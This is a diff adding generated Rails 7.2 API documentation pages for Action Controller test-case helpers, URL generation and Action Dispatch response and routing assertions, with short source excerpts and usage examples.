class SpecialEdgeCaseWidgetsControllerTest < ActionController::TestCase
+  tests WidgetController
+end
+
+ +

Testing controller internals

+ +

In addition to these specific assertions, you also have easy access to various collections that the regular test/unit assertions can be used against. These collections are:

+
  • +

    session: Objects being saved in the session.

    +
  • +

    flash: The flash objects currently in the session.

    +
  • +

    cookies: Cookies being sent to the user on this request.

    +
+ +

These collections can be used just like any other hash:

+ +
assert_equal "Dave", cookies[:name] # makes sure that a cookie called :name was set as "Dave"
+assert flash.empty? # makes sure that there's nothing in the flash
+
+ +

On top of the collections, you have the complete URL that a given action redirected to available in redirect_to_url.

+ +

For redirects within the same controller, you can even call follow_redirect and the redirect will be followed, triggering another action call which can then be asserted against.

+ +

Manipulating session and cookie variables

+ +

Sometimes you need to set up the session and cookie variables for a test. To do this just assign a value to the session or cookie collection:

+ +
session[:key] = "value"
+cookies[:key] = "value"
+
+ +

To clear the cookies for a test just clear the cookie collection:

+ +
cookies.clear
+
+ +

Testing named routes

+ +

If you’re using named routes, they can be easily tested using the original named routes’ methods straight in the test case.

+ +
assert_redirected_to page_url(title: 'foo')
+
+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + +

Included Modules

+ + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [RW] + executor_around_each_request
+ + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/TestCase/Behavior.html b/src/7.2/classes/ActionController/TestCase/Behavior.html new file mode 100644 index 0000000000..0e5296d1bc --- /dev/null +++ b/src/7.2/classes/ActionController/TestCase/Behavior.html @@ -0,0 +1,716 @@ +--- +title: ActionController::TestCase::Behavior +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [R] + request
+ [R] + response
+ + + + + +

Instance Public methods

+ +
+

+ + build_response(klass) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/test_case.rb, line 582
+      def build_response(klass)
+        klass.create
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + controller_class_name() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/test_case.rb, line 542
+      def controller_class_name
+        @controller.class.anonymous? ? "anonymous" : @controller.class.controller_path
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + delete(action, **args) + +

+ + +
+

Simulate a DELETE request with the given parameters and set/volley the response. See get for more details.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/test_case.rb, line 453
+      def delete(action, **args)
+        process(action, method: "DELETE", **args)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + generated_path(generated_extras) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/test_case.rb, line 546
+      def generated_path(generated_extras)
+        generated_extras[0]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + get(action, **args) + +

+ + +
+

Simulate a GET request with the given parameters.

+
  • +

    action: The controller action to call.

    +
  • +

    params: The hash with HTTP parameters that you want to pass. This may be nil.

    +
  • +

    body: The request body with a string that is appropriately encoded (application/x-www-form-urlencoded or multipart/form-data).

    +
  • +

    session: A hash of parameters to store in the session. This may be nil.

    +
  • +

    flash: A hash of parameters to store in the flash. This may be nil.

    +
+ +

You can also simulate POST, PATCH, PUT, DELETE, and HEAD requests with post, patch, put, delete, and head. Example sending parameters, session, and setting a flash message:

+ +
get :show,
+  params: { id: 7 },
+  session: { user_id: 1 },
+  flash: { notice: 'This is flash message' }
+
+ +

Note that the request method is not verified. The different methods are available to make the tests more expressive.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/test_case.rb, line 429
+      def get(action, **args)
+        process(action, method: "GET", **args)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + head(action, **args) + +

+ + +
+

Simulate a HEAD request with the given parameters and set/volley the response. See get for more details.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/test_case.rb, line 459
+      def head(action, **args)
+        process(action, method: "HEAD", **args)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + patch(action, **args) + +

+ + +
+

Simulate a PATCH request with the given parameters and set/volley the response. See get for more details.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/test_case.rb, line 441
+      def patch(action, **args)
+        process(action, method: "PATCH", **args)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + post(action, **args) + +

+ + +
+

Simulate a POST request with the given parameters and set/volley the response. See get for more details.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/test_case.rb, line 435
+      def post(action, **args)
+        process(action, method: "POST", **args)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + process(action, method: "GET", params: nil, session: nil, body: nil, flash: {}, format: nil, xhr: false, as: nil) + +

+ + +
+

Simulate an HTTP request to action by specifying request method, parameters and set/volley the response.

+
  • +

    action: The controller action to call.

    +
  • +

    method: Request method used to send the HTTP request. Possible values are GET, POST, PATCH, PUT, DELETE, HEAD. Defaults to GET. Can be a symbol.

    +
  • +

    params: The hash with HTTP parameters that you want to pass. This may be nil.

    +
  • +

    body: The request body with a string that is appropriately encoded (application/x-www-form-urlencoded or multipart/form-data).

    +
  • +

    session: A hash of parameters to store in the session. This may be nil.

    +
  • +

    flash: A hash of parameters to store in the flash. This may be nil.

    +
  • +

    format: Request format. Defaults to nil. Can be string or symbol.

    +
  • +

    as: Content type. Defaults to nil. Must be a symbol that corresponds to a mime type.

    +
+ +

Example calling create action and sending two params:

+ +
process :create,
+  method: 'POST',
+  params: {
+    user: { name: 'Gaurish Sharma', email: 'user@example.com' }
+  },
+  session: { user_id: 1 },
+  flash: { notice: 'This is flash message' }
+
+ +

To simulate GET, POST, PATCH, PUT, DELETE, and HEAD requests prefer using get, post, patch, put, delete and head methods respectively which will make tests more expressive.

+ +

It’s not recommended to make more than one request in the same test. Instance variables that are set in one request will not persist to the next request, but it’s not guaranteed that all Rails internal state will be reset. Prefer ActionDispatch::IntegrationTest for making multiple requests in the same test.

+ +

Note that the request method is not verified.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/test_case.rb, line 502
+      def process(action, method: "GET", params: nil, session: nil, body: nil, flash: {}, format: nil, xhr: false, as: nil)
+        check_required_ivars
+        @controller.clear_instance_variables_between_requests
+
+        action = +action.to_s
+        http_method = method.to_s.upcase
+
+        @html_document = nil
+
+        cookies.update(@request.cookies)
+        cookies.update_cookies_from_jar
+        @request.set_header "HTTP_COOKIE", cookies.to_header
+        @request.delete_header "action_dispatch.cookies"
+
+        @request          = TestRequest.new scrub_env!(@request.env), @request.session, @controller.class
+        @response         = build_response @response_klass
+        @response.request = @request
+        @controller.recycle!
+
+        if body
+          @request.set_header "RAW_POST_DATA", body
+        end
+
+        @request.set_header "REQUEST_METHOD", http_method
+
+        if as
+          @request.content_type = Mime[as].to_s
+          format ||= as
+        end
+
+        parameters = (params || {}).symbolize_keys
+
+        if format
+          parameters[:format] = format
+        end
+
+        setup_request(controller_class_name, action, parameters, session, flash, xhr)
+        process_controller_response(action, cookies, xhr)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + put(action, **args) + +

+ + +
+

Simulate a PUT request with the given parameters and set/volley the response. See get for more details.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/test_case.rb, line 447
+      def put(action, **args)
+        process(action, method: "PUT", **args)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + query_parameter_names(generated_extras) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/test_case.rb, line 550
+      def query_parameter_names(generated_extras)
+        generated_extras[1] + [:controller, :action]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + setup_controller_request_and_response() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/test_case.rb, line 554
+      def setup_controller_request_and_response
+        @controller = nil unless defined? @controller
+
+        @response_klass = ActionDispatch::TestResponse
+
+        if klass = self.class.controller_class
+          if klass < ActionController::Live
+            @response_klass = LiveTestResponse
+          end
+          unless @controller
+            begin
+              @controller = klass.new
+            rescue
+              warn "could not construct controller #{klass}" if $VERBOSE
+            end
+          end
+        end
+
+        @request          = TestRequest.create(@controller.class)
+        @response         = build_response @response_klass
+        @response.request = @request
+
+        if @controller
+          @controller.request = @request
+          @controller.params = {}
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/TestCase/Behavior/ClassMethods.html b/src/7.2/classes/ActionController/TestCase/Behavior/ClassMethods.html new file mode 100644 index 0000000000..052468cadc --- /dev/null +++ b/src/7.2/classes/ActionController/TestCase/Behavior/ClassMethods.html @@ -0,0 +1,236 @@ +--- +title: ActionController::TestCase::Behavior::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + controller_class() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/test_case.rb, line 391
+        def controller_class
+          if current_controller_class = _controller_class
+            current_controller_class
+          else
+            self.controller_class = determine_default_controller_class(name)
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + controller_class=(new_class) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/test_case.rb, line 387
+        def controller_class=(new_class)
+          self._controller_class = new_class
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + determine_default_controller_class(name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/test_case.rb, line 399
+        def determine_default_controller_class(name)
+          determine_constant_from_test_name(name) do |constant|
+            Class === constant && constant < ActionController::Metal
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + tests(controller_class) + +

+ + +
+

Sets the controller class name. Useful if the name can’t be inferred from test class. Normalizes controller_class before using.

+ +
tests WidgetController
+tests :widget
+tests 'widget'
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/test_case.rb, line 376
+        def tests(controller_class)
+          case controller_class
+          when String, Symbol
+            self.controller_class = "#{controller_class.to_s.camelize}Controller".constantize
+          when Class
+            self.controller_class = controller_class
+          else
+            raise ArgumentError, "controller class must be a String, Symbol, or Class"
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/Testing.html b/src/7.2/classes/ActionController/Testing.html new file mode 100644 index 0000000000..fd8eb967b8 --- /dev/null +++ b/src/7.2/classes/ActionController/Testing.html @@ -0,0 +1,54 @@ +--- +title: ActionController::Testing +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/UnfilteredParameters.html b/src/7.2/classes/ActionController/UnfilteredParameters.html new file mode 100644 index 0000000000..45064aa677 --- /dev/null +++ b/src/7.2/classes/ActionController/UnfilteredParameters.html @@ -0,0 +1,71 @@ +--- +title: ActionController::UnfilteredParameters +layout: default +--- +
+ +
+
+ +
+ +

Raised when a Parameters instance is not marked as permitted and an operation to transform it to hash is called.

+ +
params = ActionController::Parameters.new(a: "123", b: "456")
+params.to_h
+# => ActionController::UnfilteredParameters: unable to convert unpermitted parameters to hash
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/UnpermittedParameters.html b/src/7.2/classes/ActionController/UnpermittedParameters.html new file mode 100644 index 0000000000..e052903655 --- /dev/null +++ b/src/7.2/classes/ActionController/UnpermittedParameters.html @@ -0,0 +1,71 @@ +--- +title: ActionController::UnpermittedParameters +layout: default +--- +
+ +
+
+ +
+ +

Raised when a supplied parameter is not expected and ActionController::Parameters.action_on_unpermitted_parameters is set to :raise.

+ +
params = ActionController::Parameters.new(a: "123", b: "456")
+params.permit(:c)
+# => ActionController::UnpermittedParameters: found unpermitted parameters: :a, :b
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/UrlFor.html b/src/7.2/classes/ActionController/UrlFor.html new file mode 100644 index 0000000000..6ed30c0bb8 --- /dev/null +++ b/src/7.2/classes/ActionController/UrlFor.html @@ -0,0 +1,205 @@ +--- +title: ActionController::UrlFor +layout: default +--- +
+ +
+
+ +
+ +

Action Controller UrlFor

+ +

Includes url_for into the host class. The class has to provide a RouteSet by implementing the _routes method. Otherwise, an exception will be raised.

+ +

In addition to AbstractController::UrlFor, this module accesses the HTTP layer to define URL options like the host. In order to do so, this module requires the host class to implement env which needs to be Rack-compatible, and request which returns an ActionDispatch::Request instance.

+ +
class RootUrl
+  include ActionController::UrlFor
+  include Rails.application.routes.url_helpers
+
+  delegate :env, :request, to: :controller
+
+  def initialize(controller)
+    @controller = controller
+    @url        = root_path # named route from the application.
+  end
+end
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(...) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/url_for.rb, line 32
+    def initialize(...)
+      super
+      @_url_options = nil
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + url_options() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/url_for.rb, line 37
+    def url_options
+      @_url_options ||= {
+        host: request.host,
+        port: request.optional_port,
+        protocol: request.protocol,
+        _recall: request.path_parameters
+      }.merge!(super).freeze
+
+      if (same_origin = _routes.equal?(request.routes)) ||
+         (script_name = request.engine_script_name(_routes)) ||
+         (original_script_name = request.original_script_name)
+
+        options = @_url_options.dup
+        if original_script_name
+          options[:original_script_name] = original_script_name
+        else
+          if same_origin
+            options[:script_name] = request.script_name.empty? ? "" : request.script_name.dup
+          else
+            options[:script_name] = script_name
+          end
+        end
+        options.freeze
+      else
+        @_url_options
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch.html b/src/7.2/classes/ActionDispatch.html new file mode 100644 index 0000000000..df4eabc3dd --- /dev/null +++ b/src/7.2/classes/ActionDispatch.html @@ -0,0 +1,424 @@ +--- +title: ActionDispatch +layout: default +--- +
+ +
+
+ +
+ +

# Action Dispatch

+ +

Action Dispatch is a module of Action Pack.

+ +

Action Dispatch parses information about the web request, handles routing as defined by the user, and does advanced processing related to HTTP such as MIME-type negotiation, decoding parameters in POST, PATCH, or PUT bodies, handling HTTP caching logic, cookies and sessions.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + eager_load!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch.rb, line 139
+  def eager_load!
+    super
+    Routing.eager_load!
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/AssertionResponse.html b/src/7.2/classes/ActionDispatch/AssertionResponse.html new file mode 100644 index 0000000000..a358924392 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/AssertionResponse.html @@ -0,0 +1,186 @@ +--- +title: ActionDispatch::AssertionResponse +layout: default +--- +
+ +
+
+ +
+ +

This is a class that abstracts away an asserted response. It purposely does not inherit from Response because it doesn’t need it. That means it does not have headers or a body.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [R] + code
+ [R] + name
+ + + + +

Class Public methods

+ +
+

+ + new(code_or_name) + +

+ + +
+

Accepts a specific response status code as an Integer (404) or String (β€˜404’) or a response status range as a Symbol pseudo-code (:success, indicating any 200-299 status code).

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/assertion_response.rb, line 22
+    def initialize(code_or_name)
+      if code_or_name.is_a?(Symbol)
+        @name = code_or_name
+        @code = code_from_name(code_or_name)
+      else
+        @name = name_from_code(code_or_name)
+        @code = code_or_name
+      end
+
+      raise ArgumentError, "Invalid response name: #{name}" if @code.nil?
+      raise ArgumentError, "Invalid response code: #{code}" if @name.nil?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + code_and_name() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/assertion_response.rb, line 35
+    def code_and_name
+      "#{code}: #{name}"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Assertions.html b/src/7.2/classes/ActionDispatch/Assertions.html new file mode 100644 index 0000000000..bf2a21d530 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Assertions.html @@ -0,0 +1,152 @@ +--- +title: ActionDispatch::Assertions +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + html_document() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/assertions.rb, line 17
+    def html_document
+      @html_document ||= if @response.media_type&.end_with?("xml")
+        Nokogiri::XML::Document.parse(@response.body)
+      else
+        Rails::Dom::Testing.html_document.parse(@response.body)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Assertions/ResponseAssertions.html b/src/7.2/classes/ActionDispatch/Assertions/ResponseAssertions.html new file mode 100644 index 0000000000..1606dbad65 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Assertions/ResponseAssertions.html @@ -0,0 +1,197 @@ +--- +title: ActionDispatch::Assertions::ResponseAssertions +layout: default +--- +
+ +
+
+ +
+ +

A small suite of assertions that test responses from Rails applications.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + assert_redirected_to(url_options = {}, options = {}, message = nil) + +

+ + +
+

Asserts that the response is a redirect to a URL matching the given options.

+ +
# Asserts that the redirection was to the "index" action on the WeblogController
+assert_redirected_to controller: "weblog", action: "index"
+
+# Asserts that the redirection was to the named route login_url
+assert_redirected_to login_url
+
+# Asserts that the redirection was to the URL for @customer
+assert_redirected_to @customer
+
+# Asserts that the redirection matches the regular expression
+assert_redirected_to %r(\Ahttp://example.org)
+
+# Asserts that the redirection has the HTTP status code 301 (Moved
+# Permanently).
+assert_redirected_to "/some/path", status: :moved_permanently
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/assertions/response.rb, line 60
+      def assert_redirected_to(url_options = {}, options = {}, message = nil)
+        options, message = {}, options unless options.is_a?(Hash)
+
+        status = options[:status] || :redirect
+        assert_response(status, message)
+        return true if url_options === @response.location
+
+        redirect_is       = normalize_argument_to_redirection(@response.location)
+        redirect_expected = normalize_argument_to_redirection(url_options)
+
+        message ||= "Expected response to be a redirect to <#{redirect_expected}> but was a redirect to <#{redirect_is}>"
+        assert_operator redirect_expected, :===, redirect_is, message
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assert_response(type, message = nil) + +

+ + +
+

Asserts that the response is one of the following types:

+
  • +

    :success - Status code was in the 200-299 range

    +
  • +

    :redirect - Status code was in the 300-399 range

    +
  • +

    :missing - Status code was 404

    +
  • +

    :error - Status code was in the 500-599 range

    +
+ +

You can also pass an explicit status number like assert_response(501) or its symbolic equivalent assert_response(:not_implemented). See Rack::Utils::SYMBOL_TO_STATUS_CODE for a full list.

+ +
# Asserts that the response was a redirection
+assert_response :redirect
+
+# Asserts that the response code was status code 401 (unauthorized)
+assert_response 401
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/assertions/response.rb, line 33
+      def assert_response(type, message = nil)
+        message ||= generate_response_message(type)
+
+        if RESPONSE_PREDICATES.key?(type)
+          assert @response.public_send(RESPONSE_PREDICATES[type]), message
+        else
+          assert_equal AssertionResponse.new(type).code, @response.response_code, message
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Assertions/RoutingAssertions.html b/src/7.2/classes/ActionDispatch/Assertions/RoutingAssertions.html new file mode 100644 index 0000000000..f586ebf5f3 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Assertions/RoutingAssertions.html @@ -0,0 +1,398 @@ +--- +title: ActionDispatch::Assertions::RoutingAssertions +layout: default +--- +
+ +
+
+ +
+ +

Suite of assertions to test routes generated by Rails and the handling of requests made to them.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + assert_generates(expected_path, options, defaults = {}, extras = {}, message = nil) + +

+ + +
+

Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.

+ +

The defaults parameter is unused.

+ +
# Asserts that the default action is generated for a route with no action
+assert_generates "/items", controller: "items", action: "index"
+
+# Tests that the list action is properly routed
+assert_generates "/items/list", controller: "items", action: "list"
+
+# Tests the generation of a route with a parameter
+assert_generates "/items/list/1", { controller: "items", action: "list", id: "1" }
+
+# Asserts that the generated route gives us our custom route
+assert_generates "changesets/12", { controller: 'scm', action: 'show_diff', revision: "12" }
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/assertions/routing.rb, line 204
+      def assert_generates(expected_path, options, defaults = {}, extras = {}, message = nil)
+        if expected_path.include?("://")
+          fail_on(URI::InvalidURIError, message) do
+            uri = URI.parse(expected_path)
+            expected_path = uri.path.to_s.empty? ? "/" : uri.path
+          end
+        else
+          expected_path = "/#{expected_path}" unless expected_path.start_with?("/")
+        end
+
+        options = options.clone
+        generated_path, query_string_keys = @routes.generate_extras(options, defaults)
+        found_extras = options.reject { |k, _| ! query_string_keys.include? k }
+
+        msg = message || sprintf("found extras <%s>, not <%s>", found_extras, extras)
+        assert_equal(extras, found_extras, msg)
+
+        msg = message || sprintf("The generated path <%s> did not match <%s>", generated_path,
+            expected_path)
+        assert_equal(expected_path, generated_path, msg)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assert_recognizes(expected_options, path, extras = {}, msg = nil) + +

+ + +
+

Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.

+ +

Pass a hash in the second argument (path) to specify the request method. This is useful for routes requiring a specific HTTP method. The hash should contain a :path with the incoming request path and a :method containing the required HTTP verb.

+ +
# Asserts that POSTing to /items will call the create action on ItemsController
+assert_recognizes({controller: 'items', action: 'create'}, {path: 'items', method: :post})
+
+ +

You can also pass in extras with a hash containing URL parameters that would normally be in the query string. This can be used to assert that values in the query string will end up in the params hash correctly. To test query strings you must use the extras argument because appending the query string on the path directly will not work. For example:

+ +
# Asserts that a path of '/items/list/1?view=print' returns the correct options
+assert_recognizes({controller: 'items', action: 'list', id: '1', view: 'print'}, 'items/list/1', { view: "print" })
+
+ +

The message parameter allows you to pass in an error message that is displayed upon failure.

+ +
# Check the default route (i.e., the index action)
+assert_recognizes({controller: 'items', action: 'index'}, 'items')
+
+# Test a specific action
+assert_recognizes({controller: 'items', action: 'list'}, 'items/list')
+
+# Test an action with a parameter
+assert_recognizes({controller: 'items', action: 'destroy', id: '1'}, 'items/destroy/1')
+
+# Test a custom route
+assert_recognizes({controller: 'items', action: 'show', id: '1'}, 'view/item1')
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/assertions/routing.rb, line 164
+      def assert_recognizes(expected_options, path, extras = {}, msg = nil)
+        if path.is_a?(Hash) && path[:method].to_s == "all"
+          [:get, :post, :put, :delete].each do |method|
+            assert_recognizes(expected_options, path.merge(method: method), extras, msg)
+          end
+        else
+          request = recognized_request_for(path, extras, msg)
+
+          expected_options = expected_options.clone
+
+          expected_options.stringify_keys!
+
+          msg = message(msg, "") {
+            sprintf("The recognized options <%s> did not match <%s>, difference:",
+                    request.path_parameters, expected_options)
+          }
+
+          assert_equal(expected_options, request.path_parameters, msg)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assert_routing(path, options, defaults = {}, extras = {}, message = nil) + +

+ + +
+

Asserts that path and options match both ways; in other words, it verifies that path generates options and then that options generates path. This essentially combines assert_recognizes and assert_generates into one step.

+ +

The extras hash allows you to specify options that would normally be provided as a query string to the action. The message parameter allows you to specify a custom error message to display upon failure.

+ +
# Asserts a basic route: a controller with the default action (index)
+assert_routing '/home', controller: 'home', action: 'index'
+
+# Test a route generated with a specific controller, action, and parameter (id)
+assert_routing '/entries/show/23', controller: 'entries', action: 'show', id: 23
+
+# Asserts a basic route (controller + default action), with an error message if it fails
+assert_routing '/store', { controller: 'store', action: 'index' }, {}, {}, 'Route for store index not generated properly'
+
+# Tests a route, providing a defaults hash
+assert_routing 'controller/action/9', {id: "9", item: "square"}, {controller: "controller", action: "action"}, {}, {item: "square"}
+
+# Tests a route with an HTTP method
+assert_routing({ method: 'put', path: '/product/321' }, { controller: "product", action: "update", id: "321" })
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/assertions/routing.rb, line 248
+      def assert_routing(path, options, defaults = {}, extras = {}, message = nil)
+        assert_recognizes(options, path, extras, message)
+
+        controller, default_controller = options[:controller], defaults[:controller]
+        if controller && controller.include?(?/) && default_controller && default_controller.include?(?/)
+          options[:controller] = "/#{controller}"
+        end
+
+        generate_options = options.dup.delete_if { |k, _| defaults.key?(k) }
+        assert_generates(path.is_a?(Hash) ? path[:path] : path, generate_options, defaults, extras, message)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + method_missing(selector, ...) + +

+ + +
+

ROUTES TODO: These assertions should really work in an integration context

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/assertions/routing.rb, line 261
+      def method_missing(selector, ...)
+        if @controller && @routes&.named_routes&.route_defined?(selector)
+          @controller.public_send(selector, ...)
+        else
+          super
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + with_routing(&block) + +

+ + +
+

A helper to make it easier to test different route configurations. This method temporarily replaces @routes with a new RouteSet instance.

+ +

The new instance is yielded to the passed block. Typically the block will create some routes using set.draw { match ... }:

+ +
with_routing do |set|
+  set.draw do
+    resources :users
+  end
+  assert_equal "/users", users_path
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/assertions/routing.rb, line 121
+      def with_routing(&block)
+        old_routes, old_controller = @routes, @controller
+        create_routes(&block)
+      ensure
+        reset_routes(old_routes, old_controller)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Assertions/RoutingAssertions/ClassMethods.html b/src/7.2/classes/ActionDispatch/Assertions/RoutingAssertions/ClassMethods.html new file mode 100644 index 0000000000..d990b209ba --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Assertions/RoutingAssertions/ClassMethods.html @@ -0,0 +1,119 @@ +--- +title: ActionDispatch::Assertions::RoutingAssertions::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + with_routing(&block) + +

+ + +
+

A helper to make it easier to test different route configurations. This method temporarily replaces @routes with a new RouteSet instance before each test.

+ +

The new instance is yielded to the passed block. Typically the block will create some routes using set.draw { match ... }:

+ +
with_routing do |set|
+  set.draw do
+    resources :users
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/testing/assertions/routing.rb, line 89
+        def with_routing(&block)
+          old_routes, old_controller = nil
+
+          setup do
+            old_routes, old_controller = @routes, @controller
+            create_routes(&block)
+          end
+
+          teardown do
+            reset_routes(old_routes, old_controller)
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Assertions/RoutingAssertions/WithIntegrationRouting.html b/src/7.2/classes/ActionDispatch/Assertions/RoutingAssertions/WithIntegrationRouting.html new file mode 100644 index 0000000000..cf585a5d76 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Assertions/RoutingAssertions/WithIntegrationRouting.html @@ -0,0 +1,67 @@ +--- +title: ActionDispatch::Assertions::RoutingAssertions::WithIntegrationRouting +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

